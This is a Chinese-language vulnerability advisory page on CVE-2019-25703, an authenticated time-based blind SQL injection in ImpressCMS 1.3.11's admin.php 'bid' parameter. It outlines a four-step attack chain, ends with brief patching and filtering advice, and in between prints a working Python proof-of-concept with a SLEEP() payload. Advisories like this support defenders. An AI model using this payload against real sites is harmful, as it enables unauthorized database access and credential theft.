IPBUF安全漏洞报告
English
CVE-2019-25703 CVSS 7.1 高危

CVE-2019-25703 ImpressCMS SQL注入漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2019-25703
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ImpressCMS

相关标签

SQL注入ImpressCMSCVE-2019-25703Web安全盲注时间盲注

漏洞概述

ImpressCMS 1.3.11 版本中存在一个基于时间的盲注 SQL 注入漏洞。该漏洞源于系统未能正确过滤用户输入,经过身份验证的攻击者可以通过 `admin.php` 端点中的 `bid` 参数注入恶意 SQL 代码。利用此漏洞,攻击者能够操纵数据库查询,进而窃取数据库中的敏感信息。鉴于该漏洞需要低权限即可利用且无需用户交互,其对数据机密性构成严重威胁,建议管理员尽快采取修复措施。

技术细节

该漏洞属于 SQL 注入漏洞中的盲注类型,具体位于 ImpressCMS 内容管理系统的后台处理逻辑中。漏洞触发点位于 `admin.php` 文件,关键参数为 `bid`。当系统处理涉及该参数的请求时,未对输入数据进行充分的类型检查或转义,导致攻击者可以将 SQL 控制字符拼接到原始查询语句中。

由于是盲注,攻击者无法直接从页面获取查询结果,但可以通过构造包含 `SLEEP()` 函数或基于布尔逻辑的 SQL 语句,观察服务器的响应时间差异来推断数据库内容。攻击链首先需要攻击者拥有一个有效的低权限账户(因为 CVSS 向量显示 PR:L)。随后,攻击者向目标服务器发送特制的 HTTP POST 请求,Payload 包含在 `bid` 参数中。服务器解析后执行恶意 SQL 命令,攻击者根据响应延迟逐字节提取数据,最终可能获取管理员密码哈希或其他关键数据,进而完全控制网站。

攻击链分析

STEP 1
步骤1:信息收集与身份认证
攻击者通过注册或其他方式获取ImpressCMS系统的低权限账户凭证。
STEP 2
步骤2:构造攻击载荷
攻击者编写包含SQL注入代码的Payload,利用SLEEP()函数构造基于时间的盲注语句。
STEP 3
步骤3:发送恶意请求
攻击者使用获取的Session Cookie,向admin.php端点发送POST请求,并将恶意Payload注入到'bid'参数中。
STEP 4
步骤4:数据窃取
攻击者根据服务器的响应时间差异,逐位推断数据库中的敏感信息,如管理员密码哈希。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # Exploit Title: ImpressCMS 1.3.11 - SQL Injection (Authenticated) # Date: 2019-01-14 # Exploit Author: VulnCheck # CVE: CVE-2019-25703 target_url = "http://target-site/impresscms/admin.php" # Replace with valid session cookie obtained after authentication cookies = { "ICMSSESSION": "valid_session_id_here" } # Time-based blind SQL injection payload # Checks if the first character of the database user is 'r' (ASCII 114) # If true, the database will sleep for 5 seconds payload = { "bid": "1 AND (SELECT 114 FROM DUAL WHERE SUBSTRING(USER(), 1, 1)=CHAR(114))=SLEEP(5)" } try: print("[*] Sending malicious request to check for SQL injection...") start_time = time.time() response = requests.post(target_url, data=payload, cookies=cookies) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print("[+] Vulnerability confirmed! Response time: {:.2f} seconds".format(elapsed_time)) print("[+] The 'bid' parameter is vulnerable to time-based blind SQL injection.") else: print("[-] Vulnerability not detected or payload failed. Response time: {:.2f} seconds".format(elapsed_time)) except Exception as e: print("[-] An error occurred: {}".format(str(e)))

影响范围

ImpressCMS 1.3.11

防御指南

临时缓解措施
建议立即检查系统版本,如果是 1.3.11 版本,应尽快升级到官方发布的修复版本。在无法立即升级的情况下,可以在服务器端对 `admin.php` 接口的 `bid` 参数输入实施严格的正则过滤,阻断包含单引号、注释符及 SQL 关键字的请求流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表